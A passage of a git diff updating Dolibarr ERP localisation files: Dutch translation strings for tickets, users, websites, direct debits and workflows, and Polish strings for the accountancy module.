wordt niet weergegeven voor externe gebruikers TicketEmailOriginIssuer=Uitgevende instelling bij oorsprong van de tickets InitialMessage=Oorspronkelijk bericht @@ -254,15 +259,15 @@ TicketChangeStatus=Verander status TicketConfirmChangeStatus=Bevestig de statusverandering: %s? TicketLogStatusChanged=Status gewijzigd: %s in %s TicketNotNotifyTiersAtCreate=Geen bedrijf melden bij aanmaken -NotifyThirdpartyOnTicketClosing=Contacten om op de hoogte te stellen tijdens het sluiten van het ticket +NotifyThirdpartyOnTicketClosing=Contacten om te informeren tijdens het sluiten van de ticket TicketNotifyAllTiersAtClose=Alle gerelateerde contacten TicketNotNotifyTiersAtClose=Geen gerelateerd contact Unread=Niet gelezen TicketNotCreatedFromPublicInterface=Niet beschikbaar. Ticket is niet gemaakt vanuit de openbare interface. ErrorTicketRefRequired=Naam van ticket is vereist -TicketsDelayForFirstResponseTooLong=Er is te veel tijd verstreken sinds het openen van het ticket zonder enig antwoord. -TicketsDelayFromLastResponseTooLong=Er is te veel tijd verstreken sinds het laatste antwoord op dit ticket. -TicketNoContractFoundToLink=Er is geen contract gevonden dat automatisch aan dit ticket is gekoppeld. Koppel een contract a.u.b. handmatig. +TicketsDelayForFirstResponseTooLong=Er is te veel tijd verstreken sinds het openen van de ticket zonder enig antwoord. +TicketsDelayFromLastResponseTooLong=Er is te veel tijd verstreken sinds het laatste antwoord op deze ticket. +TicketNoContractFoundToLink=Er is geen contract gevonden dat automatisch aan deze ticket gekoppeld kan worden. Koppel a.u.b. handmatig een contract. TicketManyContractsLinked=Veel contracten zijn automatisch aan dit ticket gekoppeld. Zorg ervoor dat u controleert welke moet worden gekozen. # @@ -283,7 +288,7 @@ ShowListTicketWithTrackId=Geef ticketlijst weer van track ID ShowTicketWithTrackId=Ticket weergeven van track-ID TicketPublicDesc=Nieuwe ticket aanmaken of controleren bestaande ticket ID. YourTicketSuccessfullySaved=Ticket is succesvol opgeslagen. -MesgInfosPublicTicketCreatedWithTrackId=Een nieuwe ticket is aangemaakt met ID 1%s en referentie 1%s +MesgInfosPublicTicketCreatedWithTrackId=Een nieuwe ticket is aangemaakt met ID %s en referentie %s PleaseRememberThisId=Bewaar het tracking nummer voor het geval we u hier later om vragen. TicketNewEmailSubject=Bevestiging ticketaanmaak - Ref %s (openbare ticket-ID %s) TicketNewEmailSubjectCustomer=Nieuwe support ticket @@ -291,12 +296,12 @@ TicketNewEmailBody=Dit is een automatische e-mail om te bevestigen dat je een ni TicketNewEmailBodyCustomer=Dit is een automatische e-mail om te bevestigen dat er zojuist een nieuw ticket is aangemaakt in uw account. TicketNewEmailBodyInfosTicket=Informatie voor het bewaken van het ticket TicketNewEmailBodyInfosTrackId=Ticket volgnummer: %s -TicketNewEmailBodyInfosTrackUrl=U kunt de voortgang van het ticket bekijken door op de volgende link te klikken: +TicketNewEmailBodyInfosTrackUrl=U kunt de voortgang van het ticket bekijken door op de volgende link te klikken TicketNewEmailBodyInfosTrackUrlCustomer=U kunt de voortgang van het ticket bekijken in de specifieke interface door op de volgende link te klikken -TicketCloseEmailBodyInfosTrackUrlCustomer=U kunt de geschiedenis van dit ticket raadplegen door op de volgende link te klikken +TicketCloseEmailBodyInfosTrackUrlCustomer=U kunt de geschiedenis van deze ticket raadplegen door op de volgende link te klikken TicketEmailPleaseDoNotReplyToThisEmail=Beantwoord deze e-mail niet rechtstreeks! Gebruik de link om in de gebruikersinterface te antwoorden. TicketPublicInfoCreateTicket=Met dit formulier kunt u een support ticket vastleggen in ons ticket beheersysteem. -TicketPublicPleaseBeAccuratelyDescribe=Beschrijf alstublieft het probleem zo nauwkeurig mogelijk. Geef alle beschikbare informatie om ons in staat te stellen uw verzoek op de juiste manier te kunnen identificeren en te behandelen . +TicketPublicPleaseBeAccuratelyDescribe=Omschrijf uw vraag nauwkeurig. Geef zoveel mogelijk informatie om ons in staat te stellen uw verzoek correct te interpreteren. TicketPublicMsgViewLogIn=Voer a.u.b. de tracking ID van de ticket in TicketTrackId=Openbare tracking ID OneOfTicketTrackId=Een van uw tracking ID @@ -317,7 +322,7 @@ NbOfTickets=Aantal tickets # notifications TicketCloseEmailSubjectCustomer=Ticket gesloten TicketCloseEmailBodyCustomer=Dit is een automatisch bericht om u te informeren dat ticket %s zojuist is gesloten. -TicketCloseEmailSubjectAdmin=Ticket gesloten - Réf %s (openbaar ticket ID %s) +TicketCloseEmailSubjectAdmin=Ticket gesloten - Ref %s (openbaar ticket ID %s) TicketCloseEmailBodyAdmin=Een ticket met ID #%s is zojuist gesloten, zie informatie: TicketNotificationEmailSubject=Ticket %s bijgewerkt TicketNotificationEmailBody=Dit is een automatisch bericht om u te laten weten dat ticket %s zojuist is bijgewerkt diff --git a/htdocs/langs/nl_NL/users.lang b/htdocs/langs/nl_NL/users.lang index 635899d8b09..6f4b2c626f0 100644 --- a/htdocs/langs/nl_NL/users.lang +++ b/htdocs/langs/nl_NL/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Verwijderen uit groep PasswordChangedAndSentTo=Wachtwoord veranderd en verstuurd naar %s. PasswordChangeRequest=Wachtwoord aanpassing verzoek voor %s PasswordChangeRequestSent=Verzoek om wachtwoord te wijzigen van %s verstuurt naar %s. -IfLoginExistPasswordRequestSent=Bij een geldig account is er een e-mail gestuurd om het wachtwoord opnieuw in te stellen. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=Bij een geldig account is er een e-mail verzonden om het wachtwoord opnieuw in te stellen. ConfirmPasswordReset=Bevestig wachtwoord reset MenuUsersAndGroups=Gebruikers & groepen @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link naar gebruiker LinkedToDolibarrThirdParty=Link naar relatie CreateDolibarrLogin=Maak Dolibarr account CreateDolibarrThirdParty=Creëer nieuwe klant -LoginAccountDisableInDolibarr=Account uitgeschakeld in Dolibarr. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Gebruik persoonlijke waarde -InternalUser=Interne gebruiker ExportDataset_user_1=Gebruikers en hun eigenschappen DomainUser=Domeingebruikersaccount %s Reactivate=Reactiveren @@ -124,7 +124,12 @@ ValidatorIsSupervisorByDefault=Standaard is de validator de supervisor van de ge UserPersonalEmail=Persoonlijke e-mail UserPersonalMobile=Persoonlijke mobiele telefoon WarningNotLangOfInterface=Pas op, dit is de hoofdtaal die de gebruiker spreekt, niet de taal van de interface die hij wil zien. Ga naar het tabblad %s om de de taal van de interface, die voor deze gebruiker zichtbaar is, te wijzigen -DateLastLogin=Date last login -DatePreviousLogin=Date previous login -IPLastLogin=IP last login -IPPreviousLogin=IP previous login +DateLastLogin=Datum laatste login +DatePreviousLogin=Datum vorige login +IPLastLogin=IP laatste login +IPPreviousLogin=IP vorige login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/nl_NL/website.lang b/htdocs/langs/nl_NL/website.lang index 05cae74f98d..54bc6754d86 100644 --- a/htdocs/langs/nl_NL/website.lang +++ b/htdocs/langs/nl_NL/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Code +WebsiteName=Name of the website WebsiteSetupDesc=Maak hier de websites die u wilt gebruiken. Ga vervolgens naar het menu Websites om ze te bewerken. DeleteWebsite=Website verwijderen ConfirmDeleteWebsite=Weet u zeker dat u deze website wilt verwijderen? Alle pagina's en inhoud worden ook verwijderd. De geüploade bestanden (zoals in de mediasmap, de ECM-module, ...) blijven behouden. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Toevoeging onderaan HTML-koptekst (gemeenschappelijk voor al WEBSITE_ROBOT=Robotbestand (robots.txt) WEBSITE_HTACCESS=Website .htaccess bestand WEBSITE_MANIFEST_JSON=Website manifest.json bestand -WEBSITE_README=README.md bestand WEBSITE_KEYWORDSDesc=Gebruik een komma om waarden te scheiden -EnterHereLicenseInformation=Voer hier metadata of licentie-informatie in om een README.md bestand in te dienen. Als u uw website als sjabloon distribueert, wordt het bestand opgenomen in het template-pakket. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=HTML-header (alleen voor deze pagina) PageNameAliasHelp=Naam of alias van de pagina.
      Deze alias wordt ook gebruikt om een SEO-URL te veranderen wanneer de website wordt uitgevoerd vanaf een virtuele host van een webserver (zoals Apacke, Nginx, ...). Gebruik de knop "%s" om deze alias te bewerken. EditTheWebSiteForACommonHeader=Opmerking: als u een gepersonaliseerde koptekst voor alle pagina's wilt definiëren, moet u de koptekst op siteniveau bewerken in plaats van op de pagina/container. @@ -42,10 +43,12 @@ ViewPageInNewTab=Bekijk pagina in nieuw tabblad SetAsHomePage=Als startpagina instellen RealURL=Echte URL ViewWebsiteInProduction=Bekijk website met behulp van eigen URL's +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost= Gebruik met Apache / NGinx / ...
      Creëer op uw webserver (Apache, Nginx, ...) een speciale virtuele host met PHP ingeschakeld en een root-directory op
      %s ExampleToUseInApacheVirtualHostConfig=Voorbeeld om te gebruiken in Apache virtual host setup: YouCanAlsoTestWithPHPS=Gebruik met PHP embedded server
      In een ontwikkelomgeving kunt u de site het liefst testen met de ingebouwde PHP-webserver (PHP 5.5 vereist)
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP=Beheer uw website met een andere Dolibarr Hosting-provider
      Als u geen webserver zoals Apache of NGinx beschikbaar heeft op internet, kunt u uw website exporteren en importeren in een ander Dolibarr-exemplaar van een andere Dolibarr-hostingprovider die volledige integratie met de websitemodule biedt. U kunt een lijst met sommige Dolibarr-hostingproviders vinden op https://saas.dolibarr.org +YouCanAlsoDeployToAnotherWHP= Run uw website met een andere Dolibarr-hostingprovider
      Als u geen webserver zoals Apache of NGinx op internet heeft, kunt u uw website exporteren en importeren naar een andere Dolibarr-instantie van een andere Dolibarr-hostingprovider die volledige integratie met de Website-module. U kunt een lijst met enkele Dolibarr-hostingproviders vinden op https://saas.dolibarr.org CheckVirtualHostPerms=Controleer ook of de virtuele hostgebruiker (bijvoorbeeld www-data) %s permissies heeft voor bestanden in
      %s ReadPerm=Lezen WritePerm=Schrijven @@ -60,7 +63,7 @@ YouCanEditHtmlSourceckeditor=U kunt HTML-broncode bewerken met de knop "Bron" in YouCanEditHtmlSource=
      You can include PHP code into this source using tags <?php ?>. The following global variables are available: $conf, $db, $mysoc, $user, $website, $websitepage, $weblangs, $pagelangs.

      You can also include content of another Page/Container with the following syntax:
      <?php includeContainer('alias_of_container_to_include'); ?>

      You can make a redirect to another Page/Container with the following syntax (Note: do not output any content before a redirect):
      <?php redirectToContainer('alias_of_container_to_redirect_to'); ?>

      To add a link to another page, use the syntax:
      <a href="alias_of_page_to_link_to.php">mylink<a>

      To include a link to download a file stored into the documents directory, use the document.php wrapper:
      Example, for a file into documents/ecm (need to be logged), syntax is:
      <a href="/document.php?modulepart=ecm&file=[relative_dir/]filename.ext">
      For a file into documents/medias (open directory for public access), syntax is:
      <a href="/document.php?modulepart=medias&file=[relative_dir/]filename.ext">
      For a file shared with a share link (open access using the sharing hash key of file), syntax is:
      <a href="/document.php?hashp=publicsharekeyoffile">

      To include an image stored into the documents directory, use the viewimage.php wrapper:
      Example, for an image into documents/medias (open directory for public access), syntax is:
      <img src="/viewimage.php?modulepart=medias&file=[relative_dir/]filename.ext">
      #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=For an image shared with a share link (open access using the sharing hash key of file), syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      -YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . +YouCanEditHtmlSourceMore=
      Meer voorbeelden van HTML of dynamische code zijn beschikbaar in de wiki-documentatie
      . ClonePage=Kloon pagina/container CloneSite=Klonen site SiteAdded=Website toegevoegd @@ -137,7 +140,7 @@ PagesRegenerated=%s pagina ('s) / container (s) her-aangemaakt RegenerateWebsiteContent=Genereer cachebestanden van websites opnieuw AllowedInFrames=Toegestaan in frames DefineListOfAltLanguagesInWebsiteProperties=Definieer een lijst van alle beschikbare talen in website-eigenschappen. -GenerateSitemaps=Website-site mapbestand genereren map +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=Als u bevestigt, wist u het bestaande site mapbestand... ConfirmSitemapsCreation=Generatie van sitemap bevestigen SitemapGenerated=Sitemap bestand %s gegenereerd @@ -145,3 +148,10 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon moet png zijn ErrorFaviconSize=Favicon moet de afmetingen 16x16, 32x32 of 64x64 . hebben FaviconTooltip=Upload een afbeelding die een png moet zijn (16x16, 32x32 of 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/nl_NL/withdrawals.lang b/htdocs/langs/nl_NL/withdrawals.lang index dd8c76e75ee..0b331b05550 100644 --- a/htdocs/langs/nl_NL/withdrawals.lang +++ b/htdocs/langs/nl_NL/withdrawals.lang @@ -31,8 +31,9 @@ SupplierInvoiceWaitingWithdraw=Leveranciersfactuur wacht op betaling via overboe InvoiceWaitingWithdraw=Factuur wacht op automatische incasso InvoiceWaitingPaymentByBankTransfer=Factuur wacht op overboeking AmountToWithdraw=Bedrag in te trekken +AmountToTransfer=Over te dragen bedrag NoInvoiceToWithdraw=Er staat geen factuur open voor '%s'. Ga op tabblad '%s' op factuurkaart om een verzoek in te dienen. -NoSupplierInvoiceToWithdraw=Geen leveranciersfactuur met open 'betalingsverzoek'. Ga op tabblad '%s' op factuurkaart om een verzoek in te dienen. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=Verantwoordelijke gebruiker WithdrawalsSetup=Instelling voor automatische incasso CreditTransferSetup=Instelling voor overboeking @@ -41,6 +42,7 @@ CreditTransferStatistics=Overboeking statistieken Rejects=Verworpen LastWithdrawalReceipt=Laatste %s ontvangen incasso's MakeWithdrawRequest=Automatische incasso aanmaken +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=Maak een verzoek tot overboeking WithdrawRequestsDone=%s Betalingsverzoeken voor automatische incasso geregistreerd BankTransferRequestsDone=%s overboekingsverzoeken geregistreerd @@ -48,7 +50,7 @@ ThirdPartyBankCode=Bankcode van derden NoInvoiceCouldBeWithdrawed=Geen factuur afgeschreven. Controleer of de facturen betrekking hebben op bedrijven met een geldige IBAN en dat IBAN een UMR (Unique Mandate Reference) met modus %s heeft . WithdrawalCantBeCreditedTwice=Dit opnamebewijs is al gemarkeerd als gecrediteerd; dit kan niet twee keer worden gedaan, omdat dit mogelijk dubbele betalingen en bankboekingen zou veroorzaken. ClassCredited=Classificeer creditering -ClassDebited=Classify debited +ClassDebited=Gedebiteerd classificeren ClassCreditedConfirm=Weet u zeker dat u deze intrekkingsontvangst als bijgeschreven op uw bankrekening wilt classificeren? TransData=Datum transmissie TransMetod=Transmissiewijze @@ -99,8 +101,11 @@ CreditDate=Crediteer op WithdrawalFileNotCapable=Kan geen ontvangstbewijsbestand voor uw land genereren %s (uw land wordt niet ondersteund) ShowWithdraw=Incasso-opdracht weergeven IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Als de factuur echter ten minste één betalingsopdracht voor automatische incasso bevat die nog niet is verwerkt, wordt deze niet ingesteld als betaald om voorafgaand opnamebeheer mogelijk te maken. -DoStandingOrdersBeforePayments=Op dit tabblad kunt u een betalingsopdracht voor automatische incasso aanvragen. Als u klaar bent, gaat u naar het menu Bank-> Betaling via automatische incasso om de incasso-opdracht te genereren en te beheren. Wanneer de automatische incasso-opdracht wordt afgesloten, wordt de betaling op facturen automatisch geregistreerd en worden de facturen gesloten als het te betalen restant nul is. -DoCreditTransferBeforePayments=Op dit tabblad kunt u een overboekingsopdracht aanvragen. Als u klaar bent, gaat u naar het menu Bank-> Betaling via overschrijving om de overschrijvingsopdracht te genereren en te beheren. Wanneer de overboekingsopdracht is gesloten, wordt de betaling op facturen automatisch geregistreerd en worden de facturen gesloten als het te betalen restant nul is. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=Debet orderbestand CreditTransferFile=Credit overdrachtbestand SetToStatusSent=Stel de status in "Bestand verzonden" @@ -117,7 +122,7 @@ WithdrawRequestErrorNilAmount=Kan geen automatische incasso-aanvraag maken voor SepaMandate=Machtiging doorlopende SEPA incasso SepaMandateShort=SEPA-mandaat PleaseReturnMandate=Stuur dit machtigingsformulier per e-mail naar\n%s of per post naar: -SEPALegalText=By signing this mandate form, you authorize (A) %s to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=Incassant id. CreditorName=Naam crediteur SEPAFillForm=(B) Alle velden met een * zijn verplicht. @@ -135,7 +140,8 @@ SEPARCUR=SEPA CUR SEPAFRST=SEPA FRST ExecutionDate=Uitvoeringsdatum CreateForSepa=Aanmaken incassobestand -ICS=Creditor Identifier - ICS +ICS=Crediteur-ID - ICS +IDS=Debiteur-ID END_TO_END="EndToEndId" SEPA XML-tag - Uniek ID toegewezen per transactie USTRD="Ongestructureerde" SEPA XML-tag ADDDAYS=Dagen toevoegen aan uitvoeringsdatum @@ -152,5 +158,6 @@ ModeWarning=Optie voor echte modus was niet ingesteld, we stoppen na deze simula ErrorCompanyHasDuplicateDefaultBAN=Bedrijf met id %s heeft meer dan één standaard bankrekening. Er is geen manier aanwezig om te weten welke u moet gebruiken. ErrorICSmissing=ICS ontbreekt op bankrekening %s TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=Totaal bedrag incasso-opdracht verschilt van som van regels -WarningSomeDirectDebitOrdersAlreadyExists=Warning: There is already some pending Direct Debit orders (%s) requested for an amount of %s -WarningSomeCreditTransferAlreadyExists=Warning: There is already some pending Credit Transfer (%s) requested for an amount of %s +WarningSomeDirectDebitOrdersAlreadyExists=Waarschuwing: er zijn al enkele lopende incasso-opdrachten (%s) aangevraagd voor een bedrag van %s +WarningSomeCreditTransferAlreadyExists=Waarschuwing: er is al een openstaande overboeking (%s) aangevraagd voor een bedrag van %s +UsedFor=Gebruikt voor %s diff --git a/htdocs/langs/nl_NL/workflow.lang b/htdocs/langs/nl_NL/workflow.lang index 1fc5df1b3ad..8afe20f2c8f 100644 --- a/htdocs/langs/nl_NL/workflow.lang +++ b/htdocs/langs/nl_NL/workflow.lang @@ -7,6 +7,7 @@ descWORKFLOW_PROPAL_AUTOCREATE_ORDER=Automatisch een verkooporder maken nadat ee descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=Creëer automatisch een klantfactuur nadat een offerte is ondertekend (de nieuwe factuur heeft hetzelfde bedrag als de offerte) descWORKFLOW_CONTRACT_AUTOCREATE_INVOICE=Maak automatisch een klant factuur aan nadat een contract is gevalideerd. descWORKFLOW_ORDER_AUTOCREATE_INVOICE=Creëer automatisch een klantfactuur nadat een verkooporder is gesloten (de nieuwe factuur heeft hetzelfde bedrag als de bestelling) +descWORKFLOW_TICKET_CREATE_INTERVENTION=Maak bij het aanmaken van tickets automatisch een interventie aan. # Autoclassify customer proposal or order descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=Classificeer gekoppeld bronvoorstel als gefactureerd wanneer verkooporder is ingesteld op gefactureerd (en als het bedrag van de bestelling gelijk is aan het totale bedrag van het ondertekende gekoppelde voorstel) descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=Classificeer het gekoppelde bronvoorstel als gefactureerd wanneer de klantfactuur is gevalideerd (en als het factuurbedrag gelijk is aan het totale bedrag van het ondertekende gekoppelde voorstel) @@ -21,10 +22,15 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Classificeer gekoppel descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Classificeer inkooporder met gekoppelde bron als ontvangen wanneer een ontvangst is gevalideerd (en als de hoeveelheid die door alle ontvangsten is ontvangen hetzelfde is als in de inkooporder die moet worden bijgewerkt) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Classificeer inkooporder met gekoppelde bron als ontvangen wanneer een ontvangst wordt gesloten (en als de hoeveelheid die door alle ontvangsten wordt ontvangen hetzelfde is als in de inkooporder die moet worden bijgewerkt) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Classificeer ontvangsten als "gefactureerd" wanneer een gekoppelde inkooporder wordt gevalideerd +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) +# Automatically link ticket to contract +descWORKFLOW_TICKET_LINK_CONTRACT=Koppel bij het aanmaken van een ticket beschikbare contracten van bijpassende derde partijen +descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=Zoek bij het koppelen van contracten onder die van moederbedrijven # Autoclose intervention descWORKFLOW_TICKET_CLOSE_INTERVENTION=Sluit alle interventies die aan het ticket zijn gekoppeld wanneer een ticket is gesloten AutomaticCreation=Automatisch aanmaken AutomaticClassification=Automatisch classificeren # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classificeer gekoppelde bronzending als gesloten wanneer de klant factuur wordt gevalideerd +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) +AutomaticClosing=Automatisch sluiten +AutomaticLinking=Automatisch koppelen diff --git a/htdocs/langs/pl_PL/accountancy.lang b/htdocs/langs/pl_PL/accountancy.lang index c73af11e686..6937e9f5584 100644 --- a/htdocs/langs/pl_PL/accountancy.lang +++ b/htdocs/langs/pl_PL/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Wybierz typ powrotu karetki ACCOUNTING_EXPORT_PREFIX_SPEC=Przedrostek w nazwie pliku ThisService=Ta usługa ThisProduct=Ten produkt -DefaultForService=Domyślny dla usługi -DefaultForProduct=Domyślny dla produktu +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Produkt dla tego kontrahenta ServiceForThisThirdparty=Usługa dla tego kontrahenta CantSuggest=Nie mogę zasugerować @@ -48,8 +48,9 @@ CountriesNotInEEC=Kraje spoza UE CountriesInEECExceptMe=Kraje UE oprócz %s CountriesExceptMe=Wszystkie kraje oprócz %s AccountantFiles=Eksportuj dokumenty źródłowe -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=Aby wyeksportować swoje dzienniki, użyj pozycji menu %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=Wyświetl według konta księgowego VueBySubAccountAccounting=Wyświetl według subkonta księgowego @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=Główne konto rozliczeniowe dla dostawców ni MainAccountForUsersNotDefined=Główne konto księgowe dla użytkowników nie zdefiniowane w ustawieniach MainAccountForVatPaymentNotDefined=Główne konto księgowe dla płatności VAT nie zdefiniowane w ustawieniach MainAccountForSubscriptionPaymentNotDefined=Główne konto księgowe dla płatności za subskrypcję nie zostało zdefiniowane w konfiguracji +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Strefa księgowości AccountancyAreaDescIntro=Korzystanie z modułu księgowości odbywa się w kilku etapach: @@ -99,7 +101,8 @@ ShowAccountingAccount=Wyświetl konta księgowe ShowAccountingJournal=Wyświetl dziennik konta księgowego ShowAccountingAccountInLedger=Pokaż konto księgowe w księdze ShowAccountingAccountInJournals=Pokaż konto księgowe w dziennikach -AccountAccountingSuggest=Zalecane konto rachunkowe +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Domyślne konta MenuBankAccounts=Konta bankowe MenuVatAccounts=Konta VAT @@ -124,6 +127,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=Księga główna BookkeepingSubAccount=Subledger AccountBalance=Bilans konta +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Obiekt źródłowy ref CAHTF=Łącznie sprzedawca przed opodatkowaniem TotalExpenseReport=Raport z całkowitych wydatków @@ -161,42 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Wyłącz bezpośrednią rejestrację transakcji na kon ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Włącz eksport wersji roboczej w dzienniku ACCOUNTANCY_COMBO_FOR_AUX=Włącz listę kombi dla konta pomocniczego (może działać wolno, jeśli masz dużo stron trzecich, przerywa możliwość wyszukiwania części wartości) ACCOUNTING_DATE_START_BINDING=Określ datę rozpoczęcia wiązania i przeniesienia w księgowości. Poniżej tej daty transakcje nie zostaną przeniesione do księgowości. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=W przypadku przelewu księgowego wybierz domyślnie pokazany okres +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Dziennik sprzedaży -ACCOUNTING_PURCHASE_JOURNAL=Dziennik zakupów -ACCOUNTING_MISCELLANEOUS_JOURNAL=Dziennik różnic +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Dziennik raportów kosztowych -ACCOUNTING_SOCIAL_JOURNAL=Dziennik społecznościowy +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Ma nowy dziennik +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Dziennik społecznościowy ACCOUNTING_RESULT_PROFIT=Rachunek wynikowy (zysk) ACCOUNTING_RESULT_LOSS=Rachunek wynikowy (strata) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Dziennik zamknięcia -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Rachunek księgowy przelewu przejściowego +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Konto przejściowe do przelewów bankowych -ACCOUNTING_ACCOUNT_SUSPENSE=Konto księgowe dla oczekujących -DONATION_ACCOUNTINGACCOUNT=Konto księgowe dla zarejestrowanych dotatcji -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Konto księgowe do rejestracji subskrypcji +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Konto księgowe domyślnie do rejestracji wpłaty klienta -UseAuxiliaryAccountOnCustomerDeposit=Use sub-accounts on customer deposit lines +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) 